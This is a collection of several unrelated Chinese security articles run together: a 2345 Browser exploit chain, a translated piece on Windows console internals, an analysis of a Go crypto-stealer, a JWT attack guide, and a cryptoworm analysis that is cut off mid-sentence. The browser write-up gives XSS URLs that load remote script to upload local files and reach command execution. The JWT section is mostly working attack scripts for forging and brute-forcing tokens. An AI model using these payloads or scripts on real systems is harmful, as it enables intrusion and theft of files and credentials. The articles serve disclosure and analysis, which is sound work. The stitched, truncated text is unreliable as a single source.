在很多基于Chromium进行开发的国产浏览器中，厂商都会加入一些自己定制的API来实现一些特定的功能。在2345浏览器中，我发现一个API：`chrome.ntp2345.prepareThumbnail`，根据名字猜测，这个API应该是用于获取指定URL的HTML页面的截图，也就是说会先访问页面，然后渲染生成缩略图。（因为之前在一个开源项目中实现过类似功能，所以看到这个比较敏感）。进行了尝试之后，发现果然可以执行，并且服务端接收到了发送上来的文件内容，完美地绕过了安全限制！
chrome.ntp2345.prepareThumbnail('chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://127.0.0.1/file/&remoteFrontend=true')
#### 0x02 XSS来帮忙
发现上面的API之后，我里面写了一个页面进行测试，发现还是有一定的限制，那就是这个API在非2345.com及其子域名下执行的话，会直接返回2并且不会访问制定的URL。怎么办？我们来找个XSS不就绕过了？这里有点幸运，我Google了一下`site:2345.com
inurl:url`就找到了一个使用js进行url跳转的XSS，原理类似于@phith0n的http://wooyun.org/bugs/wooyun-2016-0179329
，不受chrome限制的XSSAuditor一个反射型XSS。
http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:alert(document.domain);//
#### 0x03 本地文件读取PoC
服务端代码：https://gist.github.com/zhchbin/c4f7de8faf8a7cfa6c0f00191277df98#file-2345_poc-py-L199-L240
用户点击一下URL，C盘下的111.txt文件内容就被上传到了服务器上，
http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:s=document.createElement(%27script%27);s.src=%27//a.zhchbin.xyz/file/xss.js%27;document.body.appendChild(s);//
过程总结：cps.2345.com域名下的XSS，加载/file/xss.js，执行chrome.ntp2345.prepareThumbnail(url)访问chrome-devtools:页面，读取本地文件并上传。
#### 0x04 我们来实现远程命令执行
原理：（1）上述的chrome-devtools本地文件读取漏洞不仅能读取文件，还能读取文件列表！（2）我们可以通过浏览器的cache机制，写入我们指定的内容到浏览器的cache目录中（3）可以利用WebKit系浏览器伪协议调用执行cache文件。
2345浏览器的默认cache目录在：C:\Users\%USERNAME%\AppData\Local\2345Explorer\User
Data\Default\Cache。要执行这个目录下的cache文件，我们要解决两个问题，首先是找出当前系统的用户名，第二是定位到我们的恶意cache文件。第一个问题，我们可以通过读取C:\Users这个目录下的文件列表，得到用户列表。然后针对每个用户，执行以下的操作来定位恶意cache文件：获取cache目录下的文件列表，保存在localStorage中，然后利用插入img的方式写入恶意cache文件，完成后再获取一次cache目录下的文件列表，找出第二次集合中新增加的文件，上传到服务器中，前端跳转到执行页面，指定iframe的src为`vbefile:/../../../../../../../../Users/xxx/AppData/Local/2345Explorer/User
Data/Default/Cache/f_xxxx`，从而达到命令执行的效果。
服务端代码：https://gist.github.com/zhchbin/c4f7de8faf8a7cfa6c0f00191277df98#file-2345_poc-py-L9-L196 用户点击：
http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:s=document.createElement(%27script%27);s.src=%27//a.zhchbin.xyz/xss.js%27;document.body.appendChild(s);//
测试说明：因为请求有时序依赖，所以里面用了5000毫秒的等待时间，来确保顺序的正确性。测试时可以在修改一下里面的域名变成本地的地址，然后运行。
* * * | 社区文章 |
# 【技术分享】如何监控Windows控制台活动（Part 1）
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-one.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、简介**
Mandiant在处理应急响应事件时，发现攻击者有时会主动使用被突破网络中的操作系统。攻击者经常通过 **RDP方式**
来使用交互式控制台（console）程序，比如命令行、PowerShell、以及自定义的C2（命令与控制）控制台工具等。以此为契机，Mandiant的
**ICE** （Innovation and Custom Engineering）团队研究了如何捕捉端点上的黑客活动轨迹。
捕捉这类数据的难度取决于目标Windows系统的版本，比如，在实时系统上捕捉相关数据是非常困难的一件事情。这一任务的困难程度与过去十几年中Windows对虚拟控制台的具体实现方式密切相关。
在本文中，我们讨论了过去几年中Windows对控制台架构的具体实现，重点分析了当前Windows版本中控制台的具体实现机制。
**
**
**二、控制台概述**
Windows PE加载器会根据PE选项头中的“ **Subsystem** ”字段来判断某个文件是否为控制台应用程序。如果这个字段的值为
**IMAGESUBSYSTEMWINDOWS_CUI** ，加载器会为该进程分配一个控制台服务器（console
server）。在不同版本的Windows系统中，控制台服务器的具体实现也有所不同，从Windows
XP起，控制台的实现方式经过了三次较大的改动。不过无论具体的实现细节如何，当运行某个客户端（如cmd.exe、powershell.exe等）时，默认情况下，系统通常会使用AllocConsole这个Win32
API来建立与控制台服务器的连接。用户键入命令时，通常需要与服务器进程进行交互，这些命令随后会通过进程间通信（ **Interprocess
communication** ，IPC）机制传递给客户端进程。一个控制台服务器可以同时托管一个或多个客户端。
**
**
**三、Windows控制台的演进历史**
从Windows XP起到Windows Vista系统，Windows使用[客户端/服务器运行时子系统（Client/Server Runtime
Subsystem
process，CSRSS）](https://blogs.technet.microsoft.com/askperf/2009/10/05/windows-7-windows-server-2008-r2-console-host/)来负责处理用户的输入，并将输入数据发送给客户端进程。客户端与CSRSS之间使用本地过程调用（Local Procedure
Call，LPC）端口进行通信，以发送收到的输入数据。在Windows XP以及Vista系统中使用的客户端-服务器控制台架构如图1所示。
图1. Windows XP/Vista中的控制台架构
在这个模型中，由于客户端以当前用户身份运行，而服务器以本地系统账户（Local
System）身份运行，因此容易受到权限提升漏洞影响。攻击者可以利用CSRSS这个脆弱点，在低权限用户模式下触发CSRSS的漏洞代码路径，获取SYSTEM级别的访问权限。
随着Windows 7以及Windows Server 2008
R2的发布，这个架构问题也随之解决。现在CSRSS不是系统中唯一的控制台服务器，系统新引入了一个控制台宿主进程（conhost.exe），以托管控制台的输入线程。这个进程现在与客户端运行在同一个上下文环境中，因此可以消除这种攻击场景。更新后的Windows
7控制台架构如图2所示。
图2. Windows 7/Server 2008 R2中的控制台架构
当Windows 7中分配一个控制台时，CSRSS就会[运行](https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals)一个新的conhost.exe实例进程。操作系统会使用RPC
ControlConsoleLPC-<conhost_pid>-<random_number>这种名称来创建一个高级本地过程调用（Advanced
Local Procedure
Call，ALPC）端口。这个端口与映射到客户端和服务器进程中的一个共享对象配合使用，因此可以轻松共享命令行数据。此外，系统也会使用RPC
ControlConsoleEvent-<conhost_pid>-<random_number>这种名称创建一个事件对象，以便在新的数据出现时，客户端与服务器之间能够使用该对象[通知](https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals)对方。一个conhost.exe进程可以为多个客户端应用提供服务，如图3中Windbg的输出信息所示。
图3. 使用Windbg分析Windows 7系统中的ALPC端口，该端口对应一个conhost进程与多个控制台应用
从Windows
8开始，Windows引入了新的控制台实现机制。新的架构与之前架构最大的不同在于，新架构中有个专门的内核驱动来负责处理客户端与服务器进程之间的控制台I/O数据。这个驱动就是ConDrv.sys，负责系统上的所有控制台通信。驱动通过名为DeviceConDrv的驱动对象为用户模式下的应用程序提供接口。用户模式下的应用程序可以使用一些[命名空间参数](https://github.com/rprichard/win32-console-docs/blob/master/README.md)（如Connect、Server、Input、Output、Reference、CurrentIn以及CurrentOut）来打开这个驱动对象，应用程序可根据实际需求决定具体使用哪些参数。根据驱动所需的具体功能，客户端应用程序通常会打开控制台驱动的多个句柄，如图4所示。
图4. 命令行应用程序打开多个ConDrv句柄
当某个命令行进程分配一个控制台时，kernelbase.dll就会打开DeviceConDrv的一个句柄，并请求系统创建一个新的conhost.exe进程。ConDrv会在内核模式下运行这个进程，并分配内存描述符列表（memory
descriptor list
，MDL）链。MDL链可以用来映射Conhost进程及其客户端的内存页面，以便该进程与客户端之间共享数据。与之前版本所使用的LPC/ALPC端口不同，系统现在通常会使用Fast
I/O将消息传递给控制台驱动。在Fast I/O的帮助下，应用程序可以与驱动进行通信，并且无需为每个请求创建I/O请求数据包（I/O request
packet，IRP）。IRP是一种操作系统架构，用来将I/O数据投递给设备驱动。这些快速I/O请求由ConDrv驱动负责，可以用来读取或写入控制台。
在Windows
10中，conhost.exe主要充当容器进程角色。ConhostV2.dll或者ConhostV1.dll负责主要的输入线程以及所有的服务器功能。默认情况下，系统会加载ConhostV2.dll并向Windows
10用户提供新的控制台功能（比如控制台窗口全屏化）。ConhostV1.dll实现了“传统模式”的控制台功能，启用这种模式后，控制台的表现与Windows
7以及之前版本的系统类似。不管具体使用的是哪个版本，系统都使用ConDrv.sys来传输控制台客户端与服务器之间的消息。整体结构如图5所示。
图5. Windows 10中基于控制台驱动的架构
读者可以阅读第二篇[文章](https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-two.html)了解后续内容。 | 社区文章 |
`Golang（Go）`是一种相对较新的编程语言，然而用这个语言编写的恶意软件却不常见。不过最近随着go语言的不断流行，用这门语言编写的软件慢慢的出现，这也给安全分析人员带来了挑战。在研究过程中，我们发现由于这种语言编写的应用程序体积庞大，在调试器下看起来与使用其他语言编译的应用程序（如C/C++）有很大不同。
最近，我们研究人员观察到一种新型用Go编写的`Zebocry`恶意软件。详细内容查看：[这里](https://www.vkremez.com/2018/12/lets-learn-dissecting-apt28sofacy.html)。
我们在实验室中捕获了一种用Go编写的恶意软件。
这一次，`Malwarebytes`将`Trojan.CryptoStealer.Go`文件归类为窃取用户信息的软件。这篇文章将详细介绍其功能，同时展示用于分析Go中编写的其他恶意软件的方法和工具。
### 样本分析
Malwarebytes将此窃取程序命名为`Trojan.CryptoStealer.Go`：
* [992ed9c632eb43399a32e13b9f19b769c73d07002d16821dde07daa231109432](https://www.virustotal.com/#/file/992ed9c632eb43399a32e13b9f19b769c73d07002d16821dde07daa231109432/details)
* [513224149cd6f619ddeec7e0c00f81b55210140707d78d0e8482b38b9297fc8f](https://www.virustotal.com/#/file/513224149cd6f619ddeec7e0c00f81b55210140707d78d0e8482b38b9297fc8f/details)
* 941330c6be0af1eb94741804ffa3522a68265f9ff6c8fd6bcf1efb063cb61196 – HyperCheats.rar (原始 程序包)
* [3fcd17aa60f1a70ba53fa89860da3371a1f8de862855b4d1e5d0eb8411e19adf](https://www.virustotal.com/#/file/3fcd17aa60f1a70ba53fa89860da3371a1f8de862855b4d1e5d0eb8411e19adf/relations) – HyperCheats.exe (UPX packed)
* [0bf24e0bc69f310c0119fc199c8938773cdede9d1ca6ba7ac7fea5c863e0f099](https://www.virustotal.com/#/file/0bf24e0bc69f310c0119fc199c8938773cdede9d1ca6ba7ac7fea5c863e0f099/details) – unpacked
### 行为分析
在对文件的分析中，我们发现Golang调用了WindowsAPI。这里我们可以使用典型工具进行跟踪调用，例如PIN跟踪器。
我们发现恶意软件会在以下路径中搜索文件：
"C:\Users\tester\AppData\Local\Uran\User Data\"
"C:\Users\tester\AppData\Local\Amigo\User\User Data\"
"C:\Users\tester\AppData\Local\Torch\User Data\"
"C:\Users\tester\AppData\Local\Chromium\User Data\"
"C:\Users\tester\AppData\Local\Nichrome\User Data\"
"C:\Users\tester\AppData\Local\Google\Chrome\User Data\"
"C:\Users\tester\AppData\Local\360Browser\Browser\User Data\"
"C:\Users\tester\AppData\Local\Maxthon3\User Data\"
"C:\Users\tester\AppData\Local\Comodo\User Data\"
"C:\Users\tester\AppData\Local\CocCoc\Browser\User Data\"
"C:\Users\tester\AppData\Local\Vivaldi\User Data\"
"C:\Users\tester\AppData\Roaming\Opera Software\"
"C:\Users\tester\AppData\Local\Kometa\User Data\"
"C:\Users\tester\AppData\Local\Comodo\Dragon\User Data\"
"C:\Users\tester\AppData\Local\Sputnik\Sputnik\User Data\"
"C:\Users\tester\AppData\Local\Google (x86)\Chrome\User Data\"
"C:\Users\tester\AppData\Local\Orbitum\User Data\"
"C:\Users\tester\AppData\Local\Yandex\YandexBrowser\User Data\"
"C:\Users\tester\AppData\Local\K-Melon\User Data\"
这些路径指向浏览器中存储的数据。 我们发现一个事实是其中一条路径指向`Yandex`浏览器，而该浏览器主要在俄罗斯被广泛使用。
下一个搜索的路径是桌面：
`"C:\Users\tester\Desktop\*"`
此处我们找到的所有文件都会被复制到`％APPDATA％`创建的文件夹中：
“桌面”文件夹包含从桌面及其子文件夹复制的所有TXT文件。 下面是我们的测试机器示例：
当搜索完成后，这个文件被压缩成为：
我们可以看到这个数据包被发送到 `C&C (cu23880.tmweb.ru/landing.php)`：
### 内部过程
Golang编译的二进制文件通常很大，所以我们对这个大文件并没有感到奇怪。而这里的样本已经使用UPX打包以减小其大小。 我们可以使用标准UPX进行解压缩。
结果，我们得到了简单的Go二进制文件。 导出表显示了编译路径和一些其他的功能：
观察这些导出文件，我们可以了解应用程序内部使用的静态库。
其中的许多功能（与trampoline有关）可以在模块sqlite-3中找到：<https://github.com/mattn/go-sqlite3/blob/master/callback.go>。
函数crosscall2来自Go运行时，它与从C / C
++应用程序调用Go相关(<https://golang.org/src/cmd/cgo/out.go>)。
### 工具
为了便于分析，我使用了`IDA Pro`以及`George Zaytsev`编写的脚本`IDAGolangHelper`。
首先，Go可执行文件必须加载到IDA中。 然后，我们可以从菜单（文件 ->脚本文件）运行脚本。 然后，我们会看到以下菜单，可以访问特定功能：
首先，我们需要确定Golang的版本（该脚本提供了一些有用的信息）。 我们得到了其版本是Go 1.2。 然后，我们重命名函数并添加标准的Go类型。
完成这些操作后，代码看起来更具可读性。 下面，我们可以看到使用脚本之前和之后的函数视图。
之前（仅导出的函数被命名）：
之后（大多数函数都自动解析并添加了相关名称）：
其中许多功能来自静态链接库。 因此，我们需要主要关注注释为`main_ *`的函数，这些函数特定于可执行文件。
### 代码审计
在函数“main_init”中，我们可以看到在应用程序中使用的模块：
它与以下模块静态链接：
* [GRequests (https://github.com/levigross/grequests)](https://github.com/levigross/grequests)
* [go-sqlite3 (https://github.com/mattn/go-sqlite3)](https://github.com/mattn/go-sqlite3)
* [try (https://github.com/manucorporat/try)](https://github.com/manucorporat/try)
分析此功能可以帮助我们进行功能预测：即查看上述库函数的具体内容。我们可以看到它们通过网络进行通信，读取SQLite3数据库并抛出异常。
其他初始化器建议使用正则表达式、zip格式并读取环境变量。
此函数还负责初始化字符串。 我们可以看到其中一些是base64解码的：
在字符串初始化中，我们看到对加密货币钱包的引用。
以太坊：
门罗币：
Golang二进制文件的主要功能是注释“`main_main`”。
在这里，我们可以看到应用程序正在创建一个新目录（使用函数 os.Mkdir）。 这里显示将要复制文件的目录。
之后，有几个`Goroutine`已经开始使用`runtime.newproc`。 （Goroutines可以像线程一样使用，但它们的管理方式不同）。
这些线程负责搜索文件，同时Sqlite模块用于解析数据库以窃取数据。
然后，恶意软件将其全部压缩到一个包中，最后，压缩包被上传到C＆C服务器。
### 何时窃取？
要查看攻击者究竟对哪些数据感兴趣，我们可以更详细地了解执行SQL查询的函数，并查看相关字符串。
Golang中的字符串以串联形式存储在一起：
之后，根据需要检索的内容进行操作。 因此，看看每个字符串被引用的代码中的具体位置并不容易。
下面是代码中打开“sqlite3”数据库的片段（检索长度为7的字符串）：
另一个例子：通过给定的偏移量和长度，从完整的字符串块中检索此查询：
我们来观察这些查询试图获取的具体数据。 获取引用的字符串，我们可以检索并列出所有字符串：
select name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id FROM credit_cards
select * FROM autofill_profiles
select email FROM autofill_profile_emails
select number FROM autofill_profile_phone
select first_name, middle_name, last_name, full_name FROM autofill_profile_names
我们可以看到浏览器的`cookie`数据库在与在线交易相关的搜索数据中被查询了：信用卡号、到期日以及姓名和电子邮件地址等个人数据。
搜索的文件路径都被存储为base64字符串。 其中许多内容与加密货币钱包有关，但我们也可以找到对Telegram的引用。
Software\\Classes\\tdesktop.tg\\shell\\open\\command
\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\
\\AppData\\Roaming\\Electrum\\wallets\\default_wallet
\\AppData\\Local\\Torch\\User Data\\
\\AppData\\Local\\Uran\\User Data\\
\\AppData\\Roaming\\Opera Software\\
\\AppData\\Local\\Comodo\\User Data\\
\\AppData\\Local\\Chromium\\User Data\\
\\AppData\\Local\\Chromodo\\User Data\\
\\AppData\\Local\\Kometa\\User Data\\
\\AppData\\Local\\K-Melon\\User Data\\
\\AppData\\Local\\Orbitum\\User Data\\
\\AppData\\Local\\Maxthon3\\User Data\\
\\AppData\\Local\\Nichrome\\User Data\\
\\AppData\\Local\\Vivaldi\\User Data\\
\\AppData\\Roaming\\BBQCoin\\wallet.dat
\\AppData\\Roaming\\Bitcoin\\wallet.dat
\\AppData\\Roaming\\Ethereum\\keystore
\\AppData\\Roaming\\Exodus\\seed.seco
\\AppData\\Roaming\\Franko\\wallet.dat
\\AppData\\Roaming\\IOCoin\\wallet.dat
\\AppData\\Roaming\\Ixcoin\\wallet.dat
\\AppData\\Roaming\\Mincoin\\wallet.dat
\\AppData\\Roaming\\YACoin\\wallet.dat
\\AppData\\Roaming\\Zcash\\wallet.dat
\\AppData\\Roaming\\devcoin\\wallet.dat
### 不成熟的恶意软件
此恶意软件中使用的一些设计模式提醒我们仍然存在类似的窃取软件，例如Evrial、PredatorTheThief和Vidar。它们有类似的目标，并将被盗数据作为ZIP文件发送给C＆C。但是，没有证据证明这个窃取软件的作者与这些案件有联系。
当了解了这个恶意软件的实现和功能时，我们发现它相当简单。它占用空间大是因为其来自许多静态编译的模块。可能这个恶意软件还处于开发的早期阶段，作者可能刚刚开始学习Go并正在进行某些实验。我们将密切关注其发展。
起初，由于它具有庞大的代码库并且大部分人对其结构不熟悉，所以分析Golang编译的应用程序可能会相对困难。但是在适当的工具的帮助下，安全研究人员可以轻松地在这个“迷宫”中进行导航，因为所有的功能都被贴上标签。由于Golang是一种相对较新的编程语言，我们可以预期分析它的工具会随着时间的推移而成熟。
恶意软件是新的攻击趋势吗？现在下定义还有点太早了。但我们知道，拥有对待新语言编写恶意软件的安全意识对我们的非常的重要。
本文为翻译稿件，原文为:https://blog.malwarebytes.com/threat-analysis/2019/01/analyzing-new-stealer-written-golang/ | 社区文章 |
# Json Web Token 2020 攻击指南
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 最近工作中测试一款客户端exe程序，web框架基于CEF，认证用的是jwt。说实话jwt这个东西实际运用真的很少，前几年完整撸过一次，结果这次又碰到了就基本忘光了之前的测试过程和方向，于是又重新学习，在查阅了大量的国内以及国外文献后，经过大量的代码编写以及测试，写下此篇攻击指南
可以很负责任的说，目前针对 jwt 攻击测试的方案
有且仅有以下几种：
* **重置空加密算法**
* **非对称加密向下降级为对称加密**
* **暴力破解密钥**
* **篡改 jwt header，kid指定攻击**
JWT 在线解析地址：<https://jwt.io/>
* * *
## 重置空加密算法
如图，当前 jwt 指定的 alg 为 HS256 算法
将其修改为none，然后输出（如果没有 jwt 模块，需要 pip install pyjwt 一下）
import jwt
print(jwt.encode({"userName":"admin","userRoot":1001}, key="", algorithm="none"))
删掉最后的 **“.”** ，然后带入原有的数据包进行发包测试，看 server 端是否接受 none 算法，从而绕过了算法签名。
* * *
## 非对称加密向下降级为对称加密
现在大多数应用使用的算法方案都采用 RSA 非对称加密，server 端保存私钥，用来签发 jwt，对传回来的 jwt 使用公钥解密验证。
碰到这种情况，我们可以修改 alg 为 HS256 对称加密算法，然后使用我们可以获取到的公钥作为 key 进行签名加密，这样一来，当我们将 jwt 传给
server 端的时候，server 端因为默认使用的是公钥解密，而算法为修改后的 HS256 对称加密算法，
所以肯定可以正常解密解析，从而绕过了算法限制。
当 server 端严格指定只允许使用 HMAC 或者 RSA 算法其中一种时候，那这种攻击手段是没有效果的。
附上降级转型的 python 代码：
import jwt
import sys
import re
import argparse
class HMACAlgorithm(jwt.algorithms.HMACAlgorithm):
def prepare_key(self, key):
key = jwt.utils.force_bytes(key)
return key
jwt.api_jwt._jwt_global_obj._algorithms['HS256'] = \
HMACAlgorithm(HMACAlgorithm.SHA256)
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
description='''Re-sign a JWT with a public key,
changing its type from RS265 to HS256.''')
parser.add_argument('-j', '--jwt-file', dest='jwt_file',
default='jwt.txt', metavar='FILE',
help='''File containing the JWT.''')
parser.add_argument('-k', '--key-file', dest='keyfile',
default='key.pem', metavar='FILE',
help='''File containing the public PEM key.''')
parser.add_argument('-a', '--algorithm', dest='algorithm',
default='RS256', metavar='ALGO',
help='''Original algorithm of the JWT.''')
parser.add_argument('-n', '--no-vary', dest='no_vary',
default=False, action='store_true',
help='''Sign only once with the exact key given.''')
args = parser.parse_args()
with open(args.keyfile, 'r') as f:
try:
pubkey = f.read()
except:
sys.exit(2)
with open(args.jwt_file, 'r') as f:
try:
token = f.read().translate(None, '\n ')
except:
sys.exit(2)
try:
jwt.decode(token, pubkey, algorithms=args.algorithm)
except jwt.exceptions.InvalidSignatureError:
sys.stderr.write('Wrong public key! Aborting.')
sys.exit(1)
except:
pass
claims = jwt.decode(token, verify=False)
headers = jwt.get_unverified_header(token)
del headers['alg']
del headers['typ']
if args.no_vary:
sys.stdout.write(jwt.encode(claims, pubkey, algorithm='HS256',
headers=headers).decode('utf-8'))
sys.exit(0)
lines = pubkey.rstrip('\n').split('\n')
if len(lines) < 3:
sys.stderr.write('''Make sure public key is in a PEM format and
includes header and footer lines!''')
sys.exit(2)
hdr = pubkey.split('\n')[0]
ftr = pubkey.split('\n')[-1]
meat = ''.join(pubkey.split('\n')[1:-1])
sep = '\n-----------------------------------------------------------------\n'
for l in range(len(hdr), len(meat)+1):
secret = '\n'.join([hdr] + filter(
None,re.split('(.{%s})' % l, meat)) + [ftr])
sys.stdout.write(
'%s--- JWT signed with public key split at lines of length %s: ---%s%s' % \
(sep, l, sep, jwt.encode(claims, secret, algorithm='HS256',
headers=headers).decode('utf-8')))
secret += '\n'
sys.stdout.write(
'%s------------- As above, but with a trailing newline: ------------%s%s' % \
(sep, sep, jwt.encode(claims, secret, algorithm='HS256',
headers=headers).decode('utf-8')))
注意，因为jwt模块更新后，防止滥用，加入了强校验，如果指定算法为 HS256 而提供 RSA 的公钥作为 key 时会报错，无法往下执行，需要注释掉
**site-packages/jwt/algorithm.py** 中的如下四行：
再把整个python代码流程精简一下，使用以下脚本即可，public.pem 为 RSA 公钥：
# -*- coding: utf-8 -*-
import jwt
public = open('public.pem', 'r').read()
prin(jwt.encode({"user":"admin","id":1}, key=public, algorithm='HS256'))
* * *
## 暴力破解密钥
当 alg 指定 HMAC 类对称加密算法时，可以进行针对 key 的暴力破解
其核心原理即为 jwt 模块的 decode 验证模式，
jwt.decode(jwt_json, verify=True, key='')
1. 签名直接校验失败，则 key 为有效密钥；
2. 因数据部分预定义字段错误：
* jwt.exceptions.ExpiredSignatureError
* jwt.exceptions.InvalidAudienceError
* jwt.exceptions.InvalidIssuedAtError
* jwt.exceptions.InvalidIssuedAtError
* jwt.exceptions.ImmatureSignatureError导致校验失败，说明并非密钥错误导致，则 key 也为有效密钥；
1. 因密钥错误
* jwt.exceptions.InvalidSignatureError
导致校验失败，则 key 为无效密钥；
2. 因其他原因（如，jwt 字符串格式错误）导致校验失败，无法验证当前 key 是否有效。
综上分析，构造字典爆破脚本：
import jwt
jwt_json='eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJpZCI6MX0.S5iudTeUBkKZa2Ah_MR_JdAsSBUFrnF3kn1FL-Cvsks'
with open('dict.txt',encoding='utf-8') as f:
for line in f:
key = line.strip()
try:
jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256')
print('found key! --> ' + key)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key)
break
except(jwt.exceptions.InvalidSignatureError):
print('verify key! -->' + key)
continue
else:
print("key not found!")
运行后可以看到，成功爆破了 key 为 **abc123**
如果没有字典，可以采取暴力遍历，可以直接使用 npm 安装 **jwt-cracker** , 方便快捷
npm install jwt-cracker
使用方法：
> jwt-cracker "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJpZCI6MX0.S5iudTeUBkKZa2Ah_MR_JdAsSBUFrnF3kn1FL-Cvsks" "abcde0123456" 6
* * *
## 篡改 jwt header，kid指定攻击
kid 即为 key ID ，存在于 jwt header 中，是一个可选的字段，用来指定加密算法的密钥
如图，在头部注入新的 kid 字段，并指定 HS256 算法的 key 为 1，生成新的 jwt_json
jwt.encode({"name":"admin","id":1},key="1",algorithm='HS256',headers={"kid":"1"})
验证没有问题：
如果 server 端开启了头部审查，那么此方法也将没有效果
另外，可以构造 kid 进行 SQL注入、任意文件读取、命令执行等攻击，但是除了 CTF
中会有这种强行弱智写法，实际案例可以说是并不存在，实用性极其低，故不再赘述。
* * *
## 小结
以上四种攻击方式可以说是涵盖了已知所有的针对 jwt 的利用，还有一部分没有实际用处或者根本就不存在的东西，没有必要去浪费笔墨，读者也没有必要来浪费时间看。 | 社区文章 |
# 【技术分享】Cryptoworm：一款功能强大的加密货币挖矿恶意软件分析
|
##### 译文声明
本文是翻译文章，文章来源：securityaffairs.co
原文地址：<http://securityaffairs.co/wordpress/63488/malware/advanced-memory-cryptoworm.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
本文我将分享一个关于某“有趣”恶意软件的分析，用“有趣”来形容该恶意软件，是因为该恶意软件拥有巧妙的漏洞利用能力、代码混淆能力以及使用了先进技术来窃取凭据和运行命令。
下图展示了整个攻击路径的总体情况。正如你在图中所看到的，由于整个攻击阶段中包含了很多特定的操作，因此整个攻击流程看起来非常的复杂。初始阶段开始于诱骗缺乏经验的用户点击一个初始阶段文件，我将该文件（在本例中）命名为y1.bat。目前，电子邮件载体是攻击者最喜欢使用的载体，它能轻易地被用来传递恶意内容。一旦初始阶段开始运行，它会下载并运行一个叫做info6.ps1的第二阶段文件，该文件是一个严重混淆过的PowerShell脚本，通过直接在代码体上解码混淆代码，我们可以获取三个内部资源模块：
1\. Mimikatz.dll：这个模块用来窃取用户的管理凭据。
2\.
Utilities：这个模块用来扫描内网从而传播感染，它被用来运行几个内部工具，例如解码混淆例程、数组排序和运行漏洞程序，该模块也被用来生成并执行一个叫做info.vbs的文件。
3\.
Exploits：这个模块是由一些已知的漏洞程序组成的集合，例如在初始阶段的攻击中，为了感染内部机器用到的[eternalblue7_exploit](https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a)
和 [eternal_blue_powershell](https://github.com/tevora-threat/eternal_blue_powershell/blob/master/EternalBlue.ps1) 这两款工具。
全部阶段的攻击路径
info.vbs文件在运行的过程中会生成另外一个称为XMRig的文件，该文件是一个开源的Monero CPU Miner
，可以在GitHub上找到。XMRig模块会试图通过利用Exploit模块来扫描和攻击内部资源来传播自身，与此同时，该模块采用Monero加密方式，通过窃取受害者的资源来给攻击者提供新的“crypto
money”。
**恶意软件分析**
****
攻击者将一封包含bat文件的email 或 message 传播给受害者，一旦用户点击了这个 bat文件，它将运行以下的命令使得PowerShell
能够下载并运行一个来自http://118.184.48.95:8000/的叫做info6.ps1 的脚本。
阶段1：下载并运行
下载的PowerShell文件被清晰地分为两个部分，它们都是被混淆过的。下图显示了两个区域，我将其命名为上半部份（在空行上方），和下半部分（空行下方）。
阶段2：两个待探查的部分
上半部份看起来很像是一个Base64编码的文本文件，下半部份看起来似乎是一个手工编写的编码函数，幸运的是，这个函数似乎是用明文追加到这个文件的尾部的。通过编辑这个函数，能够做到以下事情：能在优化解码过程中让已解码的文本文件直接被存到一个指定文件夹。下图显示了解码后的下半部分内容。
解码第二阶段中的下半部分
通过分析这部分的代码，可以很容易得出，该函数通过对当前内容执行子字符串操作，可以很容易地从文件自身动态的提取需要使用的主要功能。
$funs=$fa.SubsTrIng(0,406492)
$mimi=$fa.sUBStrInG(406494,1131864)
$mon=$fa.suBstrING(1538360,356352)
$vcp=$fa.sUBStRiNG(1894714,880172)
$vcr=$fa.sUBstrINg(2774888,1284312)
$sc=$fa.sUBsTrinG(4059202)
$fa变量的值与之相关的所有函数都是放在上半部分的，它们解码后如下图所示：
解码后的上半部分
第二阶段的上半部分代码是从Kevin Robertson (Irken)处复制来的，这个攻击者从Irken那里套用了很多有用的部分，包括Invoke-TheHas例程，它可以通过SMB被用来运行命令或具有特殊权限的代码。
在同一个阶段（第二阶段的下半部分），我们找到了一行非常有趣的代码： NTLM= Get-creds mimi ，此处Get-creds函数（它来自Based64编码的上半部分）的运行采用了反射技术，即一个DLL函数。所以从定义上讲，mimi
变量必须是一个包含在代码中某处的DLL文件。让我们通过运行下列代码来找到它：$fa.sUBStrInG(406494,1131864)
，此处的406494是起始字符，而1131864是结束字符，它们被解读后将指向一个动态链接库中。幸运的是，这个生成的DLL是一个知名的库，它广泛地被用于Mimikatz渗透测试中。所以以下事实是非常清楚的：攻击者使用了Mimikatz库来抓取用户密码（最终会抓取管理员密码）。一旦密码窃取动作完成，Malware会开始扫描内网中的已知漏洞，例如MS17/10。我发现的这个漏洞程序是套用的tevora-thrat 和
woravit，因为它们具有相同的代码、注释和变量名。如果这个恶意软件（Malware）找到了一个本地网络的漏洞，它会试图通过使用EthernalBlue注入其自身(info6.ps1)来感染这台机器，之后它会开始第二阶段的运行。
在同一个线程上恶意软件生成并执行一个.vbs文件（第三阶段），然后它通过服务器中的WMIClass一直留存下去。
引入第三阶段
info.vbs 从其自身生成并执行一个编译版本的XMRIG，然后用“mimetic”字符串为其重命名为taskservice.exe. 一旦编译好的PE
